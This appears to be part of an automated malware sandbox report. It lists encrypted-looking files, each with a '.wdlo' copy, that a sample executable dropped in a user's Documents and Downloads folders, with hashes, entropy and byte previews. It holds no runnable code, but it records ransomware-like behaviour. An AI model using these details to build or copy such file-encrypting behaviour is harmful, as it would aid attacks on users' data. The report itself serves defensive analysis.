SSDEEP:	24:JUG/UQ0iKn+YEM+V162q9v/ljCVYmeXjCjbRQAULl9SQj+FFMFAdbb93zbD:J/mi6uaN9jCVneX+yKe8FCKx3nD
MD5:	4261C8B85EDBAED92C07EC1403C032E0
SHA1:	852B10514D99DC6F5B3241D10EFA51C4584B9A39
SHA-256:	C300B148AD76097120280671C688479265003FDC31689435F6A132F7E8CCFF79
SHA-512:	EAA70EBB3ABF1D62FD8825A3E797E956DEA3CFD921ED1EC6DA93524D604BF644BBD8DB00026843804B7369838682BAEE261B076375C0C03927EDE61710E21228
Malicious:	false
Preview:	ZGGKN..v.]..3..H..8(.....E..3.a..9/\Y.#......<.........j.d.".i..a....8A.Dx..n....!.W.@..BY......>.7.Ej...a.Z,.$k.K>"M._.s.b.......B........!..kIr.Z........[...a.......\.....s..5Z..d...Fpl.$}&`.a.1......]^=../...\Q/?.e#p.GDf0.e.V....V5aI.C...cz.j.....J3....p.E..t.&..q.6.X.`...].....0..4..:.f\|.W@. ..&+j..8.Q&..z.g...I..7>H.8...v.%4Z>A#....[...h.OA"(:..R.IT..>.h...l..~/.q3C/M.t..f..0...@..G.o...iH.......C3..5...%..q.1.u..V\Q.#3R."J.:l...~T...../.g.&...a.+.a..l...s.............5..J.....I.....V./..i.=..&}JO.....s..6.J....1...G.\.M.%C.=.......X.W.......X..L.........Z.4V...^....n6..x..S.Ms....e4...[O...p.N.pc..=...w..H.UQ.~H.XM^...V..T......KK.,.\).Z.a.*.l..w...bg7. ..Aqb.../k.u0l......e^...d..IDk..4......}...~Hy=..?UZ.`...'...mr..l..~V`o.jZU3.:5K...Q....yZ..:...[f.._;.-G..F..V...kG.]x..?......Oc]...5\|}.V...I\|!....\|....'y.....J.....%Z}<d.$.a+G..}.,...Ld...."..xR.i.....}km.h.Yr.k.....p.,w._..,=.g.j...f...(.TO..P+...].co@8,...G..6...%..3

C:\Users\user\Documents\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.875183701416106
Encrypted:	false
SSDEEP:	24:rqemptr3kbXb2AJii8DQA7nKMWlbGg/FE7H3PQxFKp3fdu0SByLQ0KDKr3zbD:OempJ3IxJZ804Kblb7FoH3PQxEp3sDY1
MD5:	9BB8FCA64DB442634DEA8E6635984F85
SHA1:	DBDB3FA01C17245EBDAFC0B3B30B895D51EBE8FC
SHA-256:	397A7630975D7CF3EBD8C6D8CF7EE8FD050FF2170A5A5489D6B4AE78F022FD68
SHA-512:	5850C656983A8BB06CB96B5DF5F65665D072D86B4C16A25C7E55C264D3D2636E7A8674E61C0B2C7BD6DB60B498325CE54CF2334D091DF2968FE4841FE7D95062
Malicious:	false
Preview:	ZGGKN.z.......RM.-1...[M.?...1....b...'T..(.n....-....V....z..=..U$....A.....^.RW..\|9.#9.\|Dd..d\....e....U..c.Cn.k.rS5#c.q_Uo..-....CC\|..3..d.<.M....+.c7...A.....aL-..(p.S....3$.......8..s'\I.8G..`l.......)..E2.ek......o......l.X..2l....<.aj.9e.-...9F...pS>_..........^...:.......Sn..>;-W]/..u. (...........?.T.;t>l)...R.u..Y..\.AU..T...&..Q.6...Z.<5......E.z.\..c..>X...u......g..~.w>\|....W....ap..c@M.a.O)..Q]{.....d........A.{.$.....\1...!.l[..XE.C.L21.....}dI.\}.?...>....c.!.....n.......bw.S..>v.......0]..F...@..qz/.J...E....%]Y~. E.<&K..b....b...5.)..\|R0....4X..1...3`...Y(.0`i.^K.....!^....!...8H.k...jR...s.V...\|vE..]\|,=.#....\....$.sVp...B.....u..\|...n.Ao.\......KxZ7....`......\.%..jEz........Wk..M....8G.@5...r.6z"...(].K..~f^Nh...t{.S...E7.*D..A~.......F...P..?..m.vA.Sm......S.....^.\|..Z.&.z...G....a.Q.Q.r....$.a.].z._...T.:.....H&&.}...R..o.eH.......2H.qY.(....$..!.Y..9X.?f>.Z9.t...Y.Z.. .wZ.b.Up...$.hq.... h.y..........<.q

C:\Users\user\Documents\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.875183701416106
Encrypted:	false
SSDEEP:	24:rqemptr3kbXb2AJii8DQA7nKMWlbGg/FE7H3PQxFKp3fdu0SByLQ0KDKr3zbD:OempJ3IxJZ804Kblb7FoH3PQxEp3sDY1
MD5:	9BB8FCA64DB442634DEA8E6635984F85
SHA1:	DBDB3FA01C17245EBDAFC0B3B30B895D51EBE8FC
SHA-256:	397A7630975D7CF3EBD8C6D8CF7EE8FD050FF2170A5A5489D6B4AE78F022FD68
SHA-512:	5850C656983A8BB06CB96B5DF5F65665D072D86B4C16A25C7E55C264D3D2636E7A8674E61C0B2C7BD6DB60B498325CE54CF2334D091DF2968FE4841FE7D95062
Malicious:	false
Preview:	ZGGKN.z.......RM.-1...[M.?...1....b...'T..(.n....-....V....z..=..U$....A.....^.RW..\|9.#9.\|Dd..d\....e....U..c.Cn.k.rS5#c.q_Uo..-....CC\|..3..d.<.M....+.c7...A.....aL-..(p.S....3$.......8..s'\I.8G..`l.......)..E2.ek......o......l.X..2l....<.aj.9e.-...9F...pS>_..........^...:.......Sn..>;-W]/..u. (...........?.T.;t>l)...R.u..Y..\.AU..T...&..Q.6...Z.<5......E.z.\..c..>X...u......g..~.w>\|....W....ap..c@M.a.O)..Q]{.....d........A.{.$.....\1...!.l[..XE.C.L21.....}dI.\}.?...>....c.!.....n.......bw.S..>v.......0]..F...@..qz/.J...E....%]Y~. E.<&K..b....b...5.)..\|R0....4X..1...3`...Y(.0`i.^K.....!^....!...8H.k...jR...s.V...\|vE..]\|,=.#....\....$.sVp...B.....u..\|...n.Ao.\......KxZ7....`......\.%..jEz........Wk..M....8G.@5...r.6z"...(].K..~f^Nh...t{.S...E7.*D..A~.......F...P..?..m.vA.Sm......S.....^.\|..Z.&.z...G....a.Q.Q.r....$.a.].z._...T.:.....H&&.}...R..o.eH.......2H.qY.(....$..!.Y..9X.?f>.Z9.t...Y.Z.. .wZ.b.Up...$.hq.... h.y..........<.q

C:\Users\user\Downloads\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86565174893146
Encrypted:	false
SSDEEP:	24:hh5BRF1ZE6Jph3L7Rjdhga3QaPn+Je+Swi/KCWdfubbFe6Re/rof/H6D3zbD:99E6h7lgUQCoSwre8L/rc6D3nD
MD5:	442052CD03F7A2A6B217A8FE604609E4
SHA1:	D901613532E709605309647CDCA13C97B1B2358B
SHA-256:	1F9BA7FC77610B7D535C355D6B3DC40A0235CA253DAFB05530FFCC45302FA0AC
SHA-512:	F8F105F47BF02973EBE3905D23DB7F3246D8CC63969D3BBEB71BAB4AE25C8B5BD9442B71996EA6AD31E962C25C28758C6CE54909F483598D3525DE21E8D22D83
Malicious:	false
Preview:	BJZFP.<.....7.6.y..?zUkY..4.......".a......K/}]..E...g..P=./rv...SF.p../...-&.... . .......#:. .O_#...?e=.."..o....q.1..>.s...fW"V.......{?m.dCPY>..../.W..\|..~qJ.......p7.2O..?P.."t...7cl...g[...D_..S.......d..R...\..h...W.DF..-{.\b<.).1.Mw..O...?..@......K.$......o6....O..8.[1.,..k......^..).'.!..j...eR..l..{..F.a.@.~.<.o?.N-7R.\|(6......."..q...].58./...(..@..I..H.Wp.M......N..'.....C.......<@...C.w.v.]\5...4.w...e...k.#+.R. BG%.........g..N@.3..(.s..{.c.9..;.>{.k.#.@.aA.Q.->..A..........VQ.f.......\...D.3.......hxW..qRH;...<..n..D.KHNb..y..s]...O.....h.TT....#;>.?W.`.Ll.[.O.3jAP..@H..Dl..oU.V6Ykj..X3.lo.1\|.2z.}.Ge.~.4..ID.U.k.c..+.Gk.....S..O...F...y...S.\.....H...{.D....s..d.b.q./..N.M.$.v.w.F.R..~\}.t...4:.....X_.T.$.).!....-..c !ll...............+.>.40.o.6H..[..0o...eW....g.j....#.....@y.O....j%Kf..}..Cg...H0.g.Au.B;7Z..9s.-.L.r..%~.uH'..-S7...n.Hp......d....`....LY.enx.K...r..l#.A2....e.Y...l.6k...g.....=;.`z..Q...$l...P...!kT..].

C:\Users\user\Downloads\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86565174893146
Encrypted:	false
SSDEEP:	24:hh5BRF1ZE6Jph3L7Rjdhga3QaPn+Je+Swi/KCWdfubbFe6Re/rof/H6D3zbD:99E6h7lgUQCoSwre8L/rc6D3nD
MD5:	442052CD03F7A2A6B217A8FE604609E4
SHA1:	D901613532E709605309647CDCA13C97B1B2358B
SHA-256:	1F9BA7FC77610B7D535C355D6B3DC40A0235CA253DAFB05530FFCC45302FA0AC
SHA-512:	F8F105F47BF02973EBE3905D23DB7F3246D8CC63969D3BBEB71BAB4AE25C8B5BD9442B71996EA6AD31E962C25C28758C6CE54909F483598D3525DE21E8D22D83
Malicious:	false
Preview:	BJZFP.<.....7.6.y..?zUkY..4.......".a......K/}]..E...g..P=./rv...SF.p../...-&.... . .......#:. .O_#...?e=.."..o....q.1..>.s...fW"V.......{?m.dCPY>..../.W..\|..~qJ.......p7.2O..?P.."t...7cl...g[...D_..S.......d..R...\..h...W.DF..-{.\b<.).1.Mw..O...?..@......K.$......o6....O..8.[1.,..k......^..).'.!..j...eR..l..{..F.a.@.~.<.o?.N-7R.\|(6......."..q...].58./...(..@..I..H.Wp.M......N..'.....C.......<@...C.w.v.]\5...4.w...e...k.#+.R. BG%.........g..N@.3..(.s..{.c.9..;.>{.k.#.@.aA.Q.->..A..........VQ.f.......\...D.3.......hxW..qRH;...<..n..D.KHNb..y..s]...O.....h.TT....#;>.?W.`.Ll.[.O.3jAP..@H..Dl..oU.V6Ykj..X3.lo.1\|.2z.}.Ge.~.4..ID.U.k.c..+.Gk.....S..O...F...y...S.\.....H...{.D....s..d.b.q./..N.M.$.v.w.F.R..~\}.t...4:.....X_.T.$.).!....-..c !ll...............+.>.40.o.6H..[..0o...eW....g.j....#.....@y.O....j%Kf..}..Cg...H0.g.Au.B;7Z..9s.-.L.r..%~.uH'..-S7...n.Hp......d....`....LY.enx.K...r..l#.A2....e.Y...l.6k...g.....=;.`z..Q...$l...P...!kT..].

C:\Users\user\Downloads\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838357509163056
Encrypted:	false
SSDEEP:	24:10t/n4C8dnjPU+v+NIjad0cJCE+Hcn+RRVLceYhgHvm8dl8qtWarL79JstDTG+RT:S/nSn7lmNL0VE+HRV3Yq38taz0pr3nD
MD5:	76E9FC17AD939F64B0CDBB1C8A247FF6
SHA1:	AAC5045D0CEB46426793A2A44A8E41005413B367
SHA-256:	448C7F8FADF30AF697763658A36B06B2BBC3B45E42582FBCBB66321F6B6E4B2E
SHA-512:	A084CCA02C33E3765BEE23846DDA702D75782C2A52001C61265CADD290BB8105DE5B7C2072F57791FDB74F78919E8849143A41CF46046E4855697612B4918D50
Malicious:	false
Preview:	BJZFP.......N(`.q.+...^...r.r.U8FX...+..BU...r..W1;.......e#..s......_k....n+~c........p.....#Jf../..5...W..mV0.FoI .. +.\......9\|......].......B.n.K.QCh.....Z.........K.d.....V...f....$..y6...n...f...(.F...\.S.T.p....+.=.C..j...@.f..&/c...@..~..#....b.].....;...._M.t...=.y............}......S....Q..G.....m%.i....:B#.p..~.....n.[.........i...$/^.^F@H.;........Q..V5...y..g....v&.........,..q.\|.W..A:..6E'C...........o..?..>.....f.$uR/?.CY.P.S{.^.pL4..E.i2l....v..~{..d........h5j.L...7..+M....d.d.[.._-@.q..N.....Q-...2...\..p..%dny!.;.u._.....Q.Q.^.P....#.J....)nR.2......8..R7...b..5.a..$E..?....R....5D.P..f.%..K.&.p.5~....Xn7.EL..p.;..B......r....h..V./.../.v....b.Cw.Q.@I1 .n0(......0...=.....g.9*=H...cF.c.0....pha..P.....f..!...+.cx....CL...T.....#.....G..}.O[....0?:.......H....nP0....)5NaNNS.V...#.......:.....:O..'........d.f.B....s.p.)q.....X.]..f.......L.....q...Q..y...9..p..R..Y5kY.I>.t..)y.}.......9>.Z~T...x

C:\Users\user\Downloads\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838357509163056
Encrypted:	false
SSDEEP:	24:10t/n4C8dnjPU+v+NIjad0cJCE+Hcn+RRVLceYhgHvm8dl8qtWarL79JstDTG+RT:S/nSn7lmNL0VE+HRV3Yq38taz0pr3nD
MD5:	76E9FC17AD939F64B0CDBB1C8A247FF6
SHA1:	AAC5045D0CEB46426793A2A44A8E41005413B367
SHA-256:	448C7F8FADF30AF697763658A36B06B2BBC3B45E42582FBCBB66321F6B6E4B2E
SHA-512:	A084CCA02C33E3765BEE23846DDA702D75782C2A52001C61265CADD290BB8105DE5B7C2072F57791FDB74F78919E8849143A41CF46046E4855697612B4918D50
Malicious:	false
Preview:	BJZFP.......N(`.q.+...^...r.r.U8FX...+..BU...r..W1;.......e#..s......_k....n+~c........p.....#Jf../..5...W..mV0.FoI .. +.\......9\|......].......B.n.K.QCh.....Z.........K.d.....V...f....$..y6...n...f...(.F...\.S.T.p....+.=.C..j...@.f..&/c...@..~..#....b.].....;...._M.t...=.y............}......S....Q..G.....m%.i....:B#.p..~.....n.[.........i...$/^.^F@H.;........Q..V5...y..g....v&.........,..q.\|.W..A:..6E'C...........o..?..>.....f.$uR/?.CY.P.S{.^.pL4..E.i2l....v..~{..d........h5j.L...7..+M....d.d.[.._-@.q..N.....Q-...2...\..p..%dny!.;.u._.....Q.Q.^.P....#.J....)nR.2......8..R7...b..5.a..$E..?....R....5D.P..f.%..K.&.p.5~....Xn7.EL..p.;..B......r....h..V./.../.v....b.Cw.Q.@I1 .n0(......0...=.....g.9*=H...cF.c.0....pha..P.....f..!...+.cx....CL...T.....#.....G..}.O[....0?:.......H....nP0....)5NaNNS.V...#.......:.....:O..'........d.f.B....s.p.)q.....X.]..f.......L.....q...Q..y...9..p..R..Y5kY.I>.t..)y.}.......9>.Z~T...x

C:\Users\user\Downloads\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857638231748059
Encrypted:	false
SSDEEP:	24:j8chO2Sexwzp3doZ5t+ai62Ch/WZkFNXw1dBs+kBuR4pTiXni9X9us+csooyD3zX:jJhO2SH3OjMaiJCheONgxsweJZ9T/3nD
MD5:	1B1C407D5B3523A794CCA31BE08F9913
SHA1:	0473A3257CF330AF7B03E09D3C2701ACB8D6D7C4
SHA-256:	64FCCFB284BE1C95005F15E4471356F3567CE029E35ABD0167F037F2AD4A9FF7
SHA-512:	8F1B355AF1028A50B9098B087BD9AB4448732A79EE3B73AA0F29FFB87841D444D637222BE7C4C814788F14E6676E20CDCFABCB7A2AC6DA43600BD8E6B7B654C1
Malicious:	false
Preview:	BJZFP..5.l..=....P'&..n:.........u...D.v..F.......J.7..u.q....y..)..&1.a....RH.3.B[R..[...Xr..i..7........8..]....1....9.Vf..@s..h....br..m..#}.l........T...DW...5.t./.J.yv..+...?.r...;f..q.t.N.....m ...X..-.S..qN.%.d....s..I.3.../......O.!.Z...h.G......\|J.rj-@O.b.?...a..+..n..}..!....N..^t....6....d.r..?..l..pP,..1...U.?n.n.lck..kv'...X.(...Rnd.......(..X.....V....!Q.F_.......+.X.(.;...J$.5.....Y.C..Mj0.."gsS...,...V......b=..S..O}.U ...r_z.(5\|..{.4.........u..:..N.[2\...V.......[%.m<..M....D.Nq...[....<.%S.......%.r.4.nGYs?..}....j).%Q.........7.M..2....r.$$.\,.,:..DKv......./...G....V.MM.......%M...Y..=.F.$'N.JM........^\....@...+7...h......9.${ ....].:x...vh.m?%/+..%^m...R....@h.F...O....z.Q.B,{..RE..._..0.Fx..-.=...Xna.USdo[./M.W%...I2.MC....s...q...m.4.x....Lt!pk.K.7Y.*AxlD..$.._....&}.....F2N.8..^.".W.9..p..B..l..GH....!.,U...Bu...b...:v\..E.mU...L.U/M.]D..1PN......+.....3.._2...n..e{.FF7.K].X0<....w<u...g@..f.p@nx...c.....8k.h?M~..

C:\Users\user\Downloads\BJZFPPWAPT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857638231748059
Encrypted:	false
SSDEEP:	24:j8chO2Sexwzp3doZ5t+ai62Ch/WZkFNXw1dBs+kBuR4pTiXni9X9us+csooyD3zX:jJhO2SH3OjMaiJCheONgxsweJZ9T/3nD
MD5:	1B1C407D5B3523A794CCA31BE08F9913
SHA1:	0473A3257CF330AF7B03E09D3C2701ACB8D6D7C4
SHA-256:	64FCCFB284BE1C95005F15E4471356F3567CE029E35ABD0167F037F2AD4A9FF7
SHA-512:	8F1B355AF1028A50B9098B087BD9AB4448732A79EE3B73AA0F29FFB87841D444D637222BE7C4C814788F14E6676E20CDCFABCB7A2AC6DA43600BD8E6B7B654C1
Malicious:	false
Preview:	BJZFP..5.l..=....P'&..n:.........u...D.v..F.......J.7..u.q....y..)..&1.a....RH.3.B[R..[...Xr..i..7........8..]....1....9.Vf..@s..h....br..m..#}.l........T...DW...5.t./.J.yv..+...?.r...;f..q.t.N.....m ...X..-.S..qN.%.d....s..I.3.../......O.!.Z...h.G......\|J.rj-@O.b.?...a..+..n..}..!....N..^t....6....d.r..?..l..pP,..1...U.?n.n.lck..kv'...X.(...Rnd.......(..X.....V....!Q.F_.......+.X.(.;...J$.5.....Y.C..Mj0.."gsS...,...V......b=..S..O}.U ...r_z.(5\|..{.4.........u..:..N.[2\...V.......[%.m<..M....D.Nq...[....<.%S.......%.r.4.nGYs?..}....j).%Q.........7.M..2....r.$$.\,.,:..DKv......./...G....V.MM.......%M...Y..=.F.$'N.JM........^\....@...+7...h......9.${ ....].:x...vh.m?%/+..%^m...R....@h.F...O....z.Q.B,{..RE..._..0.Fx..-.=...Xna.USdo[./M.W%...I2.MC....s...q...m.4.x....Lt!pk.K.7Y.*AxlD..$.._....&}.....F2N.8..^.".W.9..p..B..l..GH....!.,U...Bu...b...:v\..E.mU...L.U/M.]D..1PN......+.....3.._2...n..e{.FF7.K].X0<....w<u...g@..f.p@nx...c.....8k.h?M~..

C:\Users\user\Downloads\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840844503325678
Encrypted:	false
SSDEEP:	24:u2YIQPc2TfoFBXUUPhimguIpAPOAuL3OoUjTsLYexn22tHq3zbD:uvPfoF/PhiEIZAa5+lex9tHq3nD
MD5:	FEEEDB21EE9B653E05FD7259EB250551
SHA1:	900430D1AF40506917923B51B55718EF6C6A3480
SHA-256:	ED8EEB0B8CE541F31088F2785A9D8409B1FBF6FE706A8FB841660E2107AA4243
SHA-512:	4E56730039FDF21CB9423076E25B05978034439AFDB8CF1136D994442FFD5E3293E0D8B1F9E76838D1E835F72C6C9DF00E329A6244A7C35A682A94754EA9FBA2
Malicious:	false
Preview:	DUUDT...>iDQ^+E.]r.2.!.h......@j9.\..C ..! >2.w}B...R$.........;..74j=...S!...7...S...'.7..TK.o...l.q...3..j..]v..i.`..B..C..n..}..<.b.Oi8v.S.[.Kx2...}.R.J........3.....q.8...n....f..P......p.mD..S....1.7.0.g...#..lW..M..84^6.0W.c..L.D.d.u.99..y...T..;..:M.)M....S.1[....s..y.(. %,.l.>....^.H..rJ3Jy.xdMw#..._sP..=..}.$..$.F={i...W.y..#.N.+.Kl.......X........._8..9"...._E.W.".5(..[b..[{.ee.f..>p......../.t..jg.Ld.t.D..T.L.......Z...../....V........R"..W...`.es.>.4h..z...o....m...c..8.J..~..^....h.........4Rj(.b..?.}#F..k@..t.q3...%........"..{8k.QW\|~..(e..P&2O...&...X......Zj.g..ob..F4q.>.Alx.HwE.b.1K..}.#.W.I...@An.b.<..!\.k7P...Q.h..I.b.N "..v...c...~@T..m.....^....@.e...S...bweAb^.>o...R.T-.{!3Jf.\.s.q.3...k7(...........H5.......4.w..6.c..<pq..s..L....Od......>Z.+o.v.b.xu...DfTJ.L.mH.O..". ...t.E(.s!.u.....!........#MD.d.........w.{....#u...P...3....O.....'d>.*js?.T.=...yUQ...H[..)^...e.....y. ..$...6.-...9..G.p.-t..R

C:\Users\user\Downloads\DUUDTUBZFW.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840844503325678
Encrypted:	false
SSDEEP:	24:u2YIQPc2TfoFBXUUPhimguIpAPOAuL3OoUjTsLYexn22tHq3zbD:uvPfoF/PhiEIZAa5+lex9tHq3nD
MD5:	FEEEDB21EE9B653E05FD7259EB250551
SHA1:	900430D1AF40506917923B51B55718EF6C6A3480
SHA-256:	ED8EEB0B8CE541F31088F2785A9D8409B1FBF6FE706A8FB841660E2107AA4243
SHA-512:	4E56730039FDF21CB9423076E25B05978034439AFDB8CF1136D994442FFD5E3293E0D8B1F9E76838D1E835F72C6C9DF00E329A6244A7C35A682A94754EA9FBA2
Malicious:	false
Preview:	DUUDT...>iDQ^+E.]r.2.!.h......@j9.\..C ..! >2.w}B...R$.........;..74j=...S!...7...S...'.7..TK.o...l.q...3..j..]v..i.`..B..C..n..}..<.b.Oi8v.S.[.Kx2...}.R.J........3.....q.8...n....f..P......p.mD..S....1.7.0.g...#..lW..M..84^6.0W.c..L.D.d.u.99..y...T..;..:M.)M....S.1[....s..y.(. %,.l.>....^.H..rJ3Jy.xdMw#..._sP..=..}.$..$.F={i...W.y..#.N.+.Kl.......X........._8..9"...._E.W.".5(..[b..[{.ee.f..>p......../.t..jg.Ld.t.D..T.L.......Z...../....V........R"..W...`.es.>.4h..z...o....m...c..8.J..~..^....h.........4Rj(.b..?.}#F..k@..t.q3...%........"..{8k.QW\|~..(e..P&2O...&...X......Zj.g..ob..F4q.>.Alx.HwE.b.1K..}.#.W.I...@An.b.<..!\.k7P...Q.h..I.b.N "..v...c...~@T..m.....^....@.e...S...bweAb^.>o...R.T-.{!3Jf.\.s.q.3...k7(...........H5.......4.w..6.c..<pq..s..L....Od......>Z.+o.v.b.xu...DfTJ.L.mH.O..". ...t.E(.s!.u.....!........#MD.d.........w.{....#u...P...3....O.....'d>.*js?.T.=...yUQ...H[..)^...e.....y. ..$...6.-...9..G.p.-t..R

C:\Users\user\Downloads\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845740861996114
Encrypted:	false
SSDEEP:	24:lWnL6IQgGTrAZoLnYnQa0HBUFUgzBUNEYKppBfxDOjbIjLn66xP3Rjn3zbD:lf3bLzYQzhUFUgzeNEY4BfNebIS8Px3D
MD5:	ECE5D51E9D1BF1113C39135E276027F5
SHA1:	A1BA697BD20A35F7941EC653AFD0727152499DE9
SHA-256:	2B79676C70AEFA0210621068CABE21F1F356603E1A6AC3C59E1B8A161398E73A
SHA-512:	5E71DEE718C9D9E1F8FD2526B1205E526EC29D1C8AEFD441E9E8073275E51C0199D7D4B8CDCDB6F6A603990AE8AB7E5D2CAA3B610D9E4A901548AB49E6CCF4FF
Malicious:	false
Preview:	DUUDT.YS"S.B..;8O... .....)..V...Sf1..?.<...........xs.z2.......4....a..7.....z.?...J.e.=.h.9......:.Z.j':_...X.2.C.2>...g....W.X....C.E..\|..49\q...4..i+.9 ..0>?p../....e..\|.U.b..jwf..2F..g....t...j......../ u...-&..m..}..P.G.B..-..&K9Gr.A.L...b{&]\|.r.m....k..Us^..9.T.v.rf.Z..C..;.I...\Q..\|.}.'..q..b..t...Z\..=0e.=X..-..+..H..1x.J..#e........?......]#~.8).......D.....O...v_{...`Z...........0t....3W...L).#..k.T.....U.........r.4.M.o...m.J.... .._<.s.... YP..b..D3.-S..)..8....~...K..j9n..~.....=.h>...T.._..or..X.=3.....f.?p[..\|a.......`.G.N^K@.\.a..B[..k;p&......J..8....7.......".Lk..[..."=.w..+.M_.-a8'....9..b..^..B.M..0]..........4.`.`...(....._M....5:.:...U.....$ ..3.=.C.YZ..+.....4.a[.*.>^.3o@.=.<.L...$...L...D........g.`..w-H.......@..."[gq...=..".O.....sN.B/.ij....>.M.H.V.9...Q..z.B.....F..R.)w.....5jl.A.X$;.$...j.$YQ\|......\|.a...S..>.}.'.)e....@".."P.K.a,...q..X.?...e4B...b..Ne....y.......w-<..zkP....5...(.P..L.Q.......>.)..A.o

C:\Users\user\Downloads\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845740861996114
Encrypted:	false
SSDEEP:	24:lWnL6IQgGTrAZoLnYnQa0HBUFUgzBUNEYKppBfxDOjbIjLn66xP3Rjn3zbD:lf3bLzYQzhUFUgzeNEY4BfNebIS8Px3D
MD5:	ECE5D51E9D1BF1113C39135E276027F5
SHA1:	A1BA697BD20A35F7941EC653AFD0727152499DE9
SHA-256:	2B79676C70AEFA0210621068CABE21F1F356603E1A6AC3C59E1B8A161398E73A
SHA-512:	5E71DEE718C9D9E1F8FD2526B1205E526EC29D1C8AEFD441E9E8073275E51C0199D7D4B8CDCDB6F6A603990AE8AB7E5D2CAA3B610D9E4A901548AB49E6CCF4FF
Malicious:	false
Preview:	DUUDT.YS"S.B..;8O... .....)..V...Sf1..?.<...........xs.z2.......4....a..7.....z.?...J.e.=.h.9......:.Z.j':_...X.2.C.2>...g....W.X....C.E..\|..49\q...4..i+.9 ..0>?p../....e..\|.U.b..jwf..2F..g....t...j......../ u...-&..m..}..P.G.B..-..&K9Gr.A.L...b{&]\|.r.m....k..Us^..9.T.v.rf.Z..C..;.I...\Q..\|.}.'..q..b..t...Z\..=0e.=X..-..+..H..1x.J..#e........?......]#~.8).......D.....O...v_{...`Z...........0t....3W...L).#..k.T.....U.........r.4.M.o...m.J.... .._<.s.... YP..b..D3.-S..)..8....~...K..j9n..~.....=.h>...T.._..or..X.=3.....f.?p[..\|a.......`.G.N^K@.\.a..B[..k;p&......J..8....7.......".Lk..[..."=.w..+.M_.-a8'....9..b..^..B.M..0]..........4.`.`...(....._M....5:.:...U.....$ ..3.=.C.YZ..+.....4.a[.*.>^.3o@.=.<.L...$...L...D........g.`..w-H.......@..."[gq...=..".O.....sN.B/.ij....>.M.H.V.9...Q..z.B.....F..R.)w.....5jl.A.X$;.$...j.$YQ\|......\|.a...S..>.}.'.)e....@".."P.K.a,...q..X.?...e4B...b..Ne....y.......w-<..zkP....5...(.P..L.Q.......>.)..A.o

C:\Users\user\Downloads\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848531815115813
Encrypted:	false
SSDEEP:	24:CK6dMYshT7F0tkfrbZgLTDax4ImDA+yGe3m/e6cOblcAkpbSUP0Hw43zbD:P6dMYs97F0KfZqTWx4I5JomqcAkpbX4D
MD5:	6311D8428D3263FC6C744A405665B3C1
SHA1:	2838278E20989C6A873E34CEFAFFD785D313F8E5
SHA-256:	EAAB10716BEC1F807C87D4E4141FB3251811AFC16E9E2EDF6D3C9B6DDD347E40
SHA-512:	D7E7AE1638D48CDDE0407A1FA45AEFAEFCF75A33BACF373C562FD63B665886E94F413BEE539FFF6F6E0C3445C3A0809AD19930DC84DC664735D3D850F4F5F58E
Malicious:	false
